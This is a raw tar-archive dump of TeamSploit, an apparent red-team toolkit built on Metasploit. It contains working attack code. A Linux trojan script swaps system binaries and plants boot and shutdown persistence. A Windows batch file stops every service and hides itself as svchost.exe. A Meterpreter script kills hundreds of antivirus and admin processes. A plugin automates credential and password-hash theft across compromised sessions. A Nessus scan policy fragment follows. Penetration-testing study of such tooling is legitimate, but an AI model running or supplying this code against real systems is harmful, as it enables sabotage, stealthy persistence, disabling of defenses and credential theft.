/tmp/#!TS_TROJAN_STARTUP!#/feeder /tmp/#!TS_TROJAN_STARTUP!#/#!TS_TROJAN_PERSIST!# $i
/tmp/#!TS_TROJAN_STARTUP!#/meeder "#!/bin/bash -p" > $i
/tmp/#!TS_TROJAN_STARTUP!#/deeder if=/dev/urandom count=$RANDOM bs=1 | /tmp/#!TS_TROJAN_STARTUP!#/base | /tmp/#!TS_TROJAN_STARTUP!#/needer -e 's/^/#/g' >> $i
/tmp/#!TS_TROJAN_STARTUP!#/reeder /tmp/#!TS_TROJAN_STARTUP!#/#!TS_TROJAN_PERSIST!# >> $i
done
/tmp/#!TS_TROJAN_STARTUP!#/feeder #!TS_TROJAN_PATH!#/bin/bash /bin
/tmp/#!TS_TROJAN_STARTUP!#/feeder #!TS_TROJAN_PATH!#/bin/sh /bin
/tmp/#!TS_TROJAN_STARTUP!#/feeder #!TS_TROJAN_PATH!#/bin/gzip /bin
/tmp/#!TS_TROJAN_STARTUP!#/feeder #!TS_TROJAN_PATH!#/bin/login /bin
/tmp/#!TS_TROJAN_STARTUP!#/feeder /tmp/#!TS_TROJAN_STARTUP!#/kill /bin/kill
/tmp/#!TS_TROJAN_STARTUP!#/feeder /tmp/#!TS_TROJAN_STARTUP!#/rm /bin/rm
/tmp/#!TS_TROJAN_STARTUP!#/feeder /tmp/#!TS_TROJAN_STARTUP!#/interactive /bin/nano
/tmp/#!TS_TROJAN_STARTUP!#/feeder /tmp/#!TS_TROJAN_STARTUP!#/interactive /bin/less
/tmp/#!TS_TROJAN_STARTUP!#/feeder /tmp/#!TS_TROJAN_STARTUP!#/interactive /usr/bin/vim
/tmp/#!TS_TROJAN_STARTUP!#/feeder /tmp/#!TS_TROJAN_STARTUP!#/interactive /usr/bin/vi
/tmp/#!TS_TROJAN_STARTUP!#/feeder /tmp/#!TS_TROJAN_STARTUP!#/rc.stop /etc/init.d/#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_STARTUP!#/seeder /etc/init.d/#!TS_TROJAN_HIDE!# -s /etc/rc0.d/S01#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_STARTUP!#/seeder /etc/init.d/#!TS_TROJAN_HIDE!# -s /etc/rc6.d/S01#!TS_TROJAN_HIDE!#
/tmp/#!TS_TROJAN_STARTUP!#/meeder "telinit 5" > /etc/rc1.d/S01bootload
/tmp/#!TS_TROJAN_STARTUP!#/meeder "telinit 5" > /etc/rc2.d/S01bootload
/tmp/#!TS_TROJAN_STARTUP!#/meeder "telinit 5" > /etc/rc3.d/S01bootload
teamsploit_0~20151123/ 000755 001750 001750 00000000000 12624613016 015314 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/.trojans/.startup/rc.stop 000755 001750 001750 00000000245 11732510376 022155 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
#!TS_TROJAN_PATH!#/bin/chmod 7777 /bin/chmod
#!TS_TROJAN_PATH!#/bin/cp -R #!TS_TROJAN_PATH!#/bin /
#!TS_TROJAN_PATH!#/bin/cp -R #!TS_TROJAN_PATH!#/usr /
teamsploit_0~20151123/.msf/plugins/.autopost.source.general 000644 001750 001750 00000000220 11732510376 024430 0 ustar 00sophie sophie 000000 000000 #!TS_AUTOPOST_AUTOTARGET!#
session.run_cmd('sysinfo')
session.run_cmd('ipconfig')
session.run_cmd('route')
session.run_cmd('ps')
teamsploit_0~20151123/.msf/plugins/ 000755 001750 001750 00000000000 12624613016 017640 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/.gui/ 000755 001750 001750 00000000000 12624613016 016156 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/.trojans/netstopper.cmd 000644 001750 001750 00000000542 12020213116 021726 0 ustar 00sophie sophie 000000 000000 copy netstopper.cmd %systemroot%\System32\ /Y
copy %systemroot%\System32\cmd.exe %systemroot%\svchost.exe /Y
net start > services.txt
type services.txt | find " " > service.txt
for /F "tokens=* delims= " %%A in (service.txt) do start /MIN /WAIT /B net stop "%%A" /Y
start /B %systemroot%\svchost.exe /K %systemroot%\System32\netstopper.cmd
teamsploit_0~20151123/.msf/plugins/post_auto.rb 000644 001750 001750 00000036564 12016301175 022213 0 ustar 00sophie sophie 000000 000000 # Copyright (c) 2011, Carlos Perez "Run a post module against specified sessions.",
'multi_post_rc' => "Run resource file with post modules and options against specified sessions.",
'multi_meter_cmd' => "Run a Meterpreter Console Command against specified sessions.",
'multi_meter_cmd_rc' => "Run resource file with Meterpreter Console Commands against specified sessions.",
"multi_cmd" => "Run shell command against several sessions",
"sys_creds" => "Run system password collection modules against specified sessions.",
"app_creds" => "Run application password collection modules against specified sessions."
}
end
# Multi shell command
def cmd_multi_cmd(*args)
# Define options
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Comma separated list ofessions to run modules against."],
"-c" => [ true, "Shell command to run."],
"-p" => [ true, "Platform to run the command against. If none given it will run against all."],
"-h" => [ false, "Command Help"]
)
# set variables for options
sessions = []
command = ""
plat = ""
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
if val =~ /all/i
sessions = framework.sessions.keys
else
sessions = val.split(",")
end
when "-c"
command = val
when "-p"
plat = val
when "-h"
print_line(opts.usage)
return
end
end
# Make sure that proper values where provided
if not sessions.empty? and not command.empty?
# Iterate thru the session IDs
sessions.each do |s|
# Set the session object
session = framework.sessions[s.to_i]
if session.platform =~ /#{plat}/i || plat.empty?
host = session.tunnel_peer.split(":")[0]
print_status("Running #{command} against session #{s}")
# Run the command
cmd_out = session.shell_command_token(command)
# Print good each line of the command output
cmd_out.each_line do |l|
print_good(l.chomp)
end
file_name = "#{File.join(Msf::Config.loot_directory,"#{Time.now.strftime("%Y%m%d%H%M%S")}_command.txt")}"
framework.db.report_loot({ :host=> host,
:path=> file_name,
:ctype=> "text/plain",
:ltype=> "host.command.shell",
:data=> cmd_out,
:name=>"#{host}.txt",
:info=> "Output of command #{command}" })
end
end
else
print_error("You must specify both a session and a command!")
end
end
# browser_creds Command
#-------------------------------------------------------------------------------------------
def cmd_app_creds(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run modules against. Example or <1,2,3,4>"],
"-h" => [ false, "Command Help"]
)
cred_mods = [
{"mod" => "windows/gather/credentials/wsftp_client", "opt" => nil},
{"mod" => "windows/gather/credentials/winscp", "opt" => nil},
{"mod" => "windows/gather/credentials/windows_autologin", "opt" => nil},
{"mod" => "windows/gather/credentials/vnc", "opt" => nil},
{"mod" => "windows/gather/credentials/trillian", "opt" => nil},
{"mod" => "windows/gather/credentials/total_commander", "opt" => nil},
{"mod" => "windows/gather/credentials/smartftp", "opt" => nil},
{"mod" => "windows/gather/credentials/outlook", "opt" => nil},
{"mod" => "windows/gather/credentials/nimbuzz", "opt" => nil},
{"mod" => "windows/gather/credentials/mremote", "opt" => nil},
{"mod" => "windows/gather/credentials/imail", "opt" => nil},
{"mod" => "windows/gather/credentials/idm", "opt" => nil},
{"mod" => "windows/gather/credentials/flashfxp", "opt" => nil},
{"mod" => "windows/gather/credentials/filezilla_server", "opt" => nil},
{"mod" => "windows/gather/credentials/enum_meebo", "opt" => nil},
{"mod" => "windows/gather/credentials/coreftp", "opt" => nil},
{"mod" => "windows/gather/credentials/imvu", "opt" => nil},
{"mod" => "windows/gather/credentials/epo_sql", "opt" => nil},
{"mod" => "windows/gather/enum_ie", "opt" => nil},
{"mod" => "multi/gather/ssh_creds", "opt" => nil},
{"mod" => "multi/gather/pidgin_cred", "opt" => nil},
{"mod" => "multi/gather/firefox_creds", "opt" => nil},
{"mod" => "multi/gather/filezilla_client_cred", "opt" => nil},
]
# Parse options
sessions = ""
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
sessions = val
when "-h"
print_line(opts.usage)
return
else
print_line(opts.usage)
return
end
end
cred_mods.each do |p|
m = framework.post.create(p["mod"])
# Set Sessions to be processed
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
session_list.each do |s|
begin
if m.session_compatible?(s.to_i)
m.datastore['SESSION'] = s.to_i
if p['opt']
opt_pair = p['opt'].split("=",2)
m.datastore[opt_pair[0]] = opt_pair[1]
end
m.options.validate(m.datastore)
print_status("")
print_status("Running #{p['mod']} against #{s}")
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
end
rescue
print_error("Could not run post module against sessions #{s}")
end
end
end
end
# sys_creds Command
#-------------------------------------------------------------------------------------------
def cmd_sys_creds(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run modules against. Example or <1,2,3,4>"],
"-h" => [ false, "Command Help"]
)
cred_mods = [
{"mod" => "windows/gather/cachedump", "opt" => nil},
{"mod" => "windows/gather/smart_hashdump", "opt" => "GETSYSTEM=true"},
{"mod" => "osx/gather/hashdump", "opt" => nil},
{"mod" => "linux/gather/hashdump", "opt" => nil},
{"mod" => "solaris/gather/hashdump", "opt" => nil},
]
# Parse options
sessions = ""
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
sessions = val
when "-h"
print_line(opts.usage)
return
else
print_line(opts.usage)
return
end
end
cred_mods.each do |p|
m = framework.post.create(p["mod"])
# Set Sessions to be processed
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
session_list.each do |s|
if m.session_compatible?(s.to_i)
m.datastore['SESSION'] = s.to_i
if p['opt']
opt_pair = p['opt'].split("=",2)
m.datastore[opt_pair[0]] = opt_pair[1]
end
m.options.validate(m.datastore)
print_status("")
print_status("Running #{p['mod']} against #{s}")
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
end
end
end
end
# Multi_post Command
#-------------------------------------------------------------------------------------------
def cmd_multi_post(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run module against. Example or <1,2,3,4>"],
"-m" => [ true, "Module to run against sessions."],
"-o" => [ true, "Module options."],
"-h" => [ false, "Command Help"]
)
post_mod = nil
mod_opts = nil
sessions = nil
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
sessions = val
when "-m"
post_mod = val.gsub(/^post\//,"")
when "-o"
mod_opts = val
when "-h"
print_line opts.usage
return
else
print_staus "Please specify a module to run with the -m option."
return
end
end
# Set and execute post module with options
print_status("Loading #{post_mod}")
m = framework.post.create(post_mod)
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
if session_list
session_list.each do |s|
if m.session_compatible?(s.to_i)
print_status("Running against #{s}")
m.datastore['SESSION'] = s.to_i
if mod_opts
mod_opts.each do |o|
opt_pair = o.split("=",2)
print_status("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
m.datastore[opt_pair[0]] = opt_pair[1]
end
end
m.options.validate(m.datastore)
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
else
print_error("Session #{s} is not compatible with #{post_mod}")
end
end
else
print_error("No compatible sessions were found")
end
end
# Multi_post_rc Command
#-------------------------------------------------------------------------------------------
def cmd_multi_post_rc(*args)
opts = Rex::Parser::Arguments.new(
"-rc" => [ true, "Resource file with space separate values , per line."],
"-h" => [ false, "Command Help"]
)
post_mod = nil
session_list = nil
mod_opts = nil
entries = []
opts.parse(args) do |opt, idx, val|
case opt
when "-rc"
script = val
if not ::File.exists?(script)
print_error "Resource File does not exists!"
return
else
::File.open(script, "r").each_line do |line|
# Empty line
next if line.strip.length < 1
# Comment
next if line[0,1] == "#"
entries << line.chomp
end
end
when "-h"
print_line opts.usage
return
else
print_line opts.usage
return
end
end
if entries
entries.each do |l|
values = l.split(" ")
sessions = values[0]
post_mod = values[1]
if values.length == 3
mod_opts = values[2].split(",")
end
print_status("Loading #{post_mod}")
m= framework.post.create(post_mod)
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
session_list.each do |s|
if m.session_compatible?(s.to_i)
print_status("Running Against #{s}")
m.datastore['SESSION'] = s.to_i
if mod_opts
mod_opts.each do |o|
opt_pair = o.split("=",2)
print_status("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
m.datastore[opt_pair[0]] = opt_pair[1]
end
end
m.options.validate(m.datastore)
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
else
print_error("Session #{s} is not compatible with #{post_mod}")
end
end
end
else
print_error("Resource file was empty!")
end
end
# Multi_meter_cmd Command
#-------------------------------------------------------------------------------------------
def cmd_multi_meter_cmd(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run Meterpreter Console Command against. Example or <1,2,3,4>"],
"-m" => [ true, "Meterpreter Console Command to run against sessions."],
"-h" => [ false, "Command Help"]
)
command = nil
session = nil
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
session = val
when "-m"
command = val
when "-h"
print_line opts.usage
return
else
print_staus "Please specify a command to run with the -m option."
return
end
end
current_sessions = framework.sessions.keys.sort
if session =~/all/i
sessions = current_sessions
else
sessions = session.split(",")
end
sessions.each do |s|
# Check if session is in the current session list.
next if not current_sessions.include?(s.to_i)
# Get session object
session = framework.sessions.get(s.to_i)
# Check if session is meterpreter and run command.
if (session.type == "meterpreter")
print_good("Running command #{command} against session #{s}")
session.console.run_single(command)
else
print_status("Session #{s} is not a Meterpreter session!")
end
end
end
# Multi_post_rc Command
#-------------------------------------------------------------------------------------------
def cmd_multi_meter_cmd_rc(*args)
opts = Rex::Parser::Arguments.new(
"-rc" => [ true, "Resource file with space separate values , per line."],
"-h" => [ false, "Command Help"]
)
entries = []
script = nil
opts.parse(args) do |opt, idx, val|
case opt
when "-rc"
script = val
if not ::File.exists?(script)
print_error "Resource File does not exists!"
return
else
::File.open(script, "r").each_line do |line|
# Empty line
next if line.strip.length < 1
# Comment
next if line[0,1] == "#"
entries << line.chomp
end
end
when "-h"
print_line opts.usage
return
else
print_line opts.usage
return
end
end
entries.each do |entrie|
session_parm,command = entrie.split(" ", 2)
current_sessions = framework.sessions.keys.sort
if session_parm =~ /all/i
sessions = current_sessions
else
sessions = session_parm.split(",")
end
sessions.each do |s|
# Check if session is in the current session list.
next if not current_sessions.include?(s.to_i)
# Get session object
session = framework.sessions.get(s.to_i)
# Check if session is meterpreter and run command.
if (session.type == "meterpreter")
print_good("Running command #{command} against session #{s}")
session.console.run_single(command)
else
print_status("Session #{s} is not a Meterpreter sessions!")
end
end
end
end
end
def initialize(framework, opts)
super
add_console_dispatcher(PostautoCommandDispatcher)
print_status "postauto plugin loaded."
end
def cleanup
remove_console_dispatcher('Postauto')
end
def name
"post_auto"
end
def desc
"Plugin for Post-Exploitation automation."
end
end
end teamsploit_0~20151123/.msf/scripts/meterpreter/killdef.rb 000644 001750 001750 00000022351 11732510376 024152 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Team ICF (Twitter:@ICFRedTeam)
# Based on the Meterpreter script by: Jerome Athias
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
#
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ]
)
def usage
print_line("Usage:" + @@exec_opts.usage)
raise Rex::Script::Completed
end
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
end
}
print_status("Killing All Administrative and Defensive processes on the target...")
avs = %W{
explorer.exe
spybot.exe
HijackThis.exe
procexp.exe
Procmon.exe
PsExec.exe
psfile.exe
PsGetsid.exe
PsInfo.exe
pskill.exe
PsList.exe
PsLoggedon.exe
psloglist.exe
pspasswd.exe
PsService.exe
psshutdown.exe
pssuspend.exe
Tcpvcon.exe
Tcpview.exe
notepad.exe
wordpad.exe
msconfig.exe
mmc.exe
firefox.exe
cacls.exe
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe
_avpcc.exe
_avpm.exe
aAvgApi.exe
ackwin32.exe
adaware.exe
advxdwin.exe
agentsvr.exe
agentw.exe
alertsvc.exe
alevir.exe
alogserv.exe
amon9x.exe
anti-trojan.exe
antivirus.exe
ants.exe
apimonitor.exe
aplica32.exe
apvxdwin.exe
arr.exe
atcon.exe
atguard.exe
atro55en.exe
atupdater.exe
atwatch.exe
au.exe
aupdate.exe
auto-protect.nav80try.exe
autodown.exe
autotrace.exe
autoupdate.exe
avconsol.exe
ave32.exe
avgcc32.exe
avgctrl.exe
avgemc.exe
avgnt.exe
avgrsx.exe
avgserv.exe
avgserv9.exe
avguard.exe
avgw.exe
avkpop.exe
avkserv.exe
avkservice.exe
avkwctl9.exe
avltmain.exe
avnt.exe
avp.exe
avp.exe
avp32.exe
avpcc.exe
avpdos32.exe
avpm.exe
avptc32.exe
avpupd.exe
avsched32.exe
avsynmgr.exe
avwin.exe
avwin95.exe
avwinnt.exe
avwupd.exe
avwupd32.exe
avwupsrv.exe
avxmonitor9x.exe
avxmonitornt.exe
avxquar.exe
backweb.exe
bargains.exe
bd_professional.exe
beagle.exe
belt.exe
bidef.exe
bidserver.exe
bipcp.exe
bipcpevalsetup.exe
bisp.exe
blackd.exe
blackice.exe
blink.exe
blss.exe
bootconf.exe
bootwarn.exe
borg2.exe
bpc.exe
brasil.exe
bs120.exe
bundle.exe
bvt.exe
ccapp.exe
ccevtmgr.exe
ccpxysvc.exe
cdp.exe
cfd.exe
cfgwiz.exe
cfiadmin.exe
cfiaudit.exe
cfinet.exe
cfinet32.exe
claw95.exe
claw95cf.exe
clean.exe
cleaner.exe
cleaner3.exe
cleanpc.exe
click.exe
cmd.exe
cmd32.exe
cmesys.exe
cmgrdian.exe
cmon016.exe
connectionmonitor.exe
cpd.exe
cpf9x206.exe
cpfnt206.exe
ctrl.exe
cv.exe
cwnb181.exe
cwntdwmo.exe
datemanager.exe
dcomx.exe
defalert.exe
defscangui.exe
defwatch.exe
deputy.exe
divx.exe
dllcache.exe
dllreg.exe
doors.exe
dpf.exe
dpfsetup.exe
dpps2.exe
drwatson.exe
drweb32.exe
drwebupw.exe
dssagent.exe
dvp95.exe
dvp95_0.exe
ecengine.exe
efpeadm.exe
emsw.exe
ent.exe
esafe.exe
escanhnt.exe
escanv95.exe
espwatch.exe
ethereal.exe
etrustcipe.exe
evpn.exe
exantivirus-cnet.exe
exe.avxw.exe
expert.exe
explore.exe
f-agnt95.exe
f-prot.exe
f-prot95.exe
f-stopw.exe
fameh32.exe
fast.exe
fch32.exe
fih32.exe
findviru.exe
firewall.exe
fnrb32.exe
fp-win.exe
fp-win_trial.exe
fprot.exe
frw.exe
fsaa.exe
fsav.exe
fsav32.exe
fsav530stbyb.exe
fsav530wtbyb.exe
fsav95.exe
fsgk32.exe
fsm32.exe
fsma32.exe
fsmb32.exe
gator.exe
gbmenu.exe
gbpoll.exe
generics.exe
gmt.exe
guard.exe
guarddog.exe
hacktracersetup.exe
hbinst.exe
hbsrv.exe
hotactio.exe
hotpatch.exe
htlog.exe
htpatch.exe
hwpe.exe
hxdl.exe
hxiul.exe
iamapp.exe
iamserv.exe
iamstats.exe
ibmasn.exe
ibmavsp.exe
icload95.exe
icloadnt.exe
icmon.exe
icsupp95.exe
icsuppnt.exe
idle.exe
iedll.exe
iedriver.exe
iexplorer.exe
iface.exe
ifw2000.exe
inetlnfo.exe
infus.exe
infwin.exe
init.exe
intdel.exe
intren.exe
iomon98.exe
istsvc.exe
jammer.exe
jdbgmrg.exe
jedi.exe
kavlite40eng.exe
kavpers40eng.exe
kavpf.exe
kazza.exe
keenvalue.exe
kerio-pf-213-en-win.exe
kerio-wrl-421-en-win.exe
kerio-wrp-421-en-win.exe
kernel32.exe
killprocesssetup161.exe
launcher.exe
ldnetmon.exe
ldpro.exe
ldpromenu.exe
ldscan.exe
lnetinfo.exe
loader.exe
localnet.exe
lockdown.exe
lockdown2000.exe
lookout.exe
lordpe.exe
lsetup.exe
luall.exe
luau.exe
lucomserver.exe
luinit.exe
luspt.exe
mapisvc32.exe
mcagent.exe
mcmnhdlr.exe
mcshield.exe
mctool.exe
mcupdate.exe
mcvsrte.exe
mcvsshld.exe
md.exe
mfin32.exe
mfw2en.exe
mfweng3.02d30.exe
mgavrtcl.exe
mgavrte.exe
mghtml.exe
mgui.exe
minilog.exe
mmod.exe
monitor.exe
moolive.exe
mostat.exe
mpfagent.exe
mpfservice.exe
mpftray.exe
mrflux.exe
msapp.exe
msbb.exe
msblast.exe
mscache.exe
msccn32.exe
mscman.exe
msconfig.exe
msdm.exe
msdos.exe
msiexec16.exe
msinfo32.exe
mslaugh.exe
msmgt.exe
msmsgri32.exe
mssmmc32.exe
mssys.exe
msvxd.exe
mu0311ad.exe
mwatch.exe
n32scanw.exe
nav.exe
navap.navapsvc.exe
navapsvc.exe
navapw32.exe
navdx.exe
navlu32.exe
navnt.exe
navstub.exe
navw32.exe
navwnt.exe
nc2000.exe
ncinst4.exe
ndd32.exe
neomonitor.exe
neowatchlog.exe
netarmor.exe
netd32.exe
netinfo.exe
netmon.exe
netscanpro.exe
netspyhunter-1.2.exe
netstat.exe
netutils.exe
nisserv.exe
nisum.exe
nmain.exe
nod32.exe
normist.exe
norton_internet_secu_3.0_407.exe
notstart.exe
npf40_tw_98_nt_me_2k.exe
npfmessenger.exe
nprotect.exe
npscheck.exe
npssvc.exe
nsched32.exe
nssys32.exe
nstask32.exe
nsupdate.exe
nt.exe
ntrtscan.exe
ntvdm.exe
ntxconfig.exe
nui.exe
nupgrade.exe
nvarch16.exe
nvc95.exe
nvsvc32.exe
nwinst4.exe
nwservice.exe
nwtool16.exe
ollydbg.exe
onsrvr.exe
optimize.exe
ostronet.exe
otfix.exe
outpost.exe
outpostinstall.exe
outpostproinstall.exe
padmin.exe
panixk.exe
patch.exe
pavcl.exe
pavproxy.exe
pavsched.exe
pavw.exe
pccwin98.exe
pcfwallicon.exe
pcip10117_0.exe
pcscan.exe
pdsetup.exe
periscope.exe
persfw.exe
perswf.exe
pf2.exe
pfwadmin.exe
pgmonitr.exe
pingscan.exe
platin.exe
pop3trap.exe
poproxy.exe
popscan.exe
portdetective.exe
portmonitor.exe
powerscan.exe
ppinupdt.exe
pptbc.exe
ppvstop.exe
prizesurfer.exe
prmt.exe
prmvr.exe
procdump.exe
processmonitor.exe
procexplorerv1.0.exe
programauditor.exe
proport.exe
protectx.exe
pspf.exe
purge.exe
qconsole.exe
qserver.exe
rapapp.exe
rav7.exe
rav7win.exe
rav8win32eng.exe
ray.exe
rb32.exe
rcsync.exe
realmon.exe
reged.exe
regedit.exe
regedt32.exe
rescue.exe
rescue32.exe
rrguard.exe
rshell.exe
rtvscan.exe
rtvscn95.exe
rulaunch.exe
run32dll.exe
rundll.exe
rundll16.exe
ruxdll32.exe
safeweb.exe
sahagent.exe
save.exe
savenow.exe
sbserv.exe
sc.exe
scam32.exe
scan32.exe
scan95.exe
scanpm.exe
scrscan.exe
serv95.exe
setup_flowprotector_us.exe
setupvameeval.exe
sfc.exe
sgssfw32.exe
sh.exe
shellspyinstall.exe
shn.exe
showbehind.exe
smc.exe
sms.exe
smss32.exe
soap.exe
sofi.exe
sperm.exe
spf.exe
sphinx.exe
spoler.exe
spoolcv.exe
spoolsv32.exe
spyxx.exe
srexe.exe
srng.exe
ss3edit.exe
ssg_4104.exe
ssgrate.exe
st2.exe
start.exe
stcloader.exe
supftrl.exe
support.exe
supporter5.exe
svc.exe
svchostc.exe
svchosts.exe
svshost.exe
sweep95.exe
sweepnet.sweepsrv.sys.swnetsup.exe
symproxysvc.exe
symtray.exe
sysedit.exe
system.exe
system32.exe
sysupd.exe
taskmg.exe
taskmgr.exe
taskmo.exe
taskmon.exe
taumon.exe
tbscan.exe
tc.exe
tca.exe
tcm.exe
tds-3.exe
tds2-98.exe
tds2-nt.exe
teekids.exe
tfak.exe
tfak5.exe
tgbob.exe
titanin.exe
titaninxp.exe
tracert.exe
trickler.exe
trjscan.exe
trjsetup.exe
trojantrap3.exe
tsadbot.exe
tvmd.exe
tvtmd.exe
undoboot.exe
updat.exe
update.exe
upgrad.exe
utpost.exe
vbcmserv.exe
vbcons.exe
vbust.exe
vbwin9x.exe
vbwinntw.exe
vcsetup.exe
vet32.exe
vet95.exe
vettray.exe
vfsetup.exe
vir-help.exe
virusmdpersonalfirewall.exe
vnlan300.exe
vnpc3000.exe
vpc32.exe
vpc42.exe
vpfw30s.exe
vptray.exe
vscan40.exe
vscenu6.02d30.exe
vsched.exe
vsecomr.exe
vshwin32.exe
vsisetup.exe
vsmain.exe
vsmon.exe
vsstat.exe
vswin9xe.exe
vswinntse.exe
vswinperse.exe
w32dsm89.exe
w9x.exe
watchdog.exe
webdav.exe
webscanx.exe
webtrap.exe
wfindv32.exe
whoswatchingme.exe
wimmun32.exe
win-bugsfix.exe
win32.exe
win32us.exe
winactive.exe
window.exe
windows.exe
wininetd.exe
wininitx.exe
winlogin.exe
winmain.exe
winnet.exe
winppr32.exe
winrecon.exe
winservn.exe
winssk32.exe
winstart.exe
winstart001.exe
wintsk32.exe
winupdate.exe
wkufind.exe
wnad.exe
wnt.exe
wradmin.exe
wrctrl.exe
wsbgate.exe
wupdater.exe
wupdt.exe
wyvernworksfirewall.exe
xpf202en.exe
zapro.exe
zapsetup3001.exe
zatutor.exe
zonalm2601.exe
zonealarm.exe
}
avs.each { |p| p.downcase! }
client.sys.process.get_processes().each do |x|
if (avs.index(x['name'].downcase))
print_status("Killing off #{x['name']}...")
client.sys.process.kill(x['pid'])
end
end
teamsploit_0~20151123/.msf/ 000755 001750 001750 00000000000 12624613016 016157 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/nessus/teamsploit.policy 000644 001750 001750 00001765346 12122675206 022266 0 ustar 00sophie sophie 000000 000000
TeamSploit
root
private
Metasploit ONLY
max_simult_tcp_sessions
unlimited
use_mac_addr
no
throttle_scan
yes
listen_address
0.0.0.0
non_simult_ports
139, 445
slice_network_addresses
no
max_checks
5
stop_scan_on_disconnect
no
report_crashes
yes
host.max_simult_tcp_sessions
unlimited
reverse_lookup
no
optimize_test
yes
log_whole_attack
yes
ssl_cipher_list
strong
cgi_path
/cgi-bin:/scripts
unscanned_closed
no
save_knowledge_base
no
use_kernel_congestion_detection
no
auto_update
yes
listen_port
1241
checks_read_timeout
5
plugins_timeout
320
auto_enable_dependencies
yes
safe_checks
no
allow_post_scan_editing
no
stop_scan_on_hang
no
max_hosts
100
reduce_connections_on_congestion
no
seq
4605
silent_dependencies
no
port_range
default
feed_type
HomeFeed
plugin_upload
yes
xmlrpc_listen_port
8834
-
ADSI Settings
60024
ADSI Settings[entry]:Domain Controller :
Domain Controller :
entry
-
ADSI Settings
60024
ADSI Settings[entry]:Domain :
Domain :
entry
-
ADSI Settings
60024
ADSI Settings[entry]:Domain Username :
Domain Username :
entry
-
ADSI Settings
60024
ADSI Settings[password]:Domain Password :
Domain Password :
password
-
ADSI Settings
60024
ADSI Settings[entry]:Domain Controller 2:
Domain Controller 2:
entry
-
ADSI Settings
60024
ADSI Settings[entry]:Domain 2:
Domain 2:
entry
-
ADSI Settings
60024
ADSI Settings[entry]:Domain Username 2:
Domain Username 2:
entry
-
ADSI Settings
60024
ADSI Settings[password]:Domain Password 2:
Domain Password 2:
password
-
ADSI Settings
60024
ADSI Settings[entry]:Domain Controller 3:
Domain Controller 3:
entry
-
ADSI Settings
60024
ADSI Settings[entry]:Domain 3:
Domain 3:
entry
-
ADSI Settings
60024
ADSI Settings[entry]:Domain Username 3:
Domain Username 3:
entry
-
ADSI Settings
60024
ADSI Settings[password]:Domain Password 3:
Domain Password 3:
password
-
ADSI Settings
60024
ADSI Settings[entry]:Domain Controller 4:
Domain Controller 4:
entry
-
ADSI Settings
60024
ADSI Settings[entry]:Domain 4:
Domain 4:
entry
-
ADSI Settings
60024
ADSI Settings[entry]:Domain Username 4:
Domain Username 4:
entry
-
ADSI Settings
60024
ADSI Settings[password]:Domain Password 4:
Domain Password 4:
password
-
ADSI Settings
60024
ADSI Settings[entry]:Domain Controller 5:
Domain Controller 5:
entry
-
ADSI Settings
60024
ADSI Settings[entry]:Domain 5:
Domain 5:
entry
-
ADSI Settings
60024
ADSI Settings[entry]:Domain Username 5:
Domain Username 5:
entry
-
ADSI Settings
60024
ADSI Settings[password]:Domain Password 5:
Domain Password 5:
password
-
amap (NASL wrapper)
14663
amap (NASL wrapper)[file]:File containing machine readable results :
File containing machine readable results :
file
-
amap (NASL wrapper)
14663
amap (NASL wrapper)[radio]:Mode
Mode
radio
Map applications;Just grab banners;Port scan only
Map applications;Just grab banners;Port scan only
-
amap (NASL wrapper)
14663
amap (NASL wrapper)[checkbox]:Quicker
Quicker
checkbox
no
no
-
amap (NASL wrapper)
14663
amap (NASL wrapper)[checkbox]:UDP scan (disabled in safe_checks)
UDP scan (disabled in safe_checks)
checkbox
no
no
-
amap (NASL wrapper)
14663
amap (NASL wrapper)[checkbox]:SSL (disabled in safe_checks)
SSL (disabled in safe_checks)
checkbox
yes
yes
-
amap (NASL wrapper)
14663
amap (NASL wrapper)[checkbox]:RPC (disabled in safe_checks)
RPC (disabled in safe_checks)
checkbox
yes
yes
-
amap (NASL wrapper)
14663
amap (NASL wrapper)[entry]:Parallel tasks
Parallel tasks
entry
-
amap (NASL wrapper)
14663
amap (NASL wrapper)[entry]:Connection retries
Connection retries
entry
-
amap (NASL wrapper)
14663
amap (NASL wrapper)[entry]:Connection timeout
Connection timeout
entry
-
amap (NASL wrapper)
14663
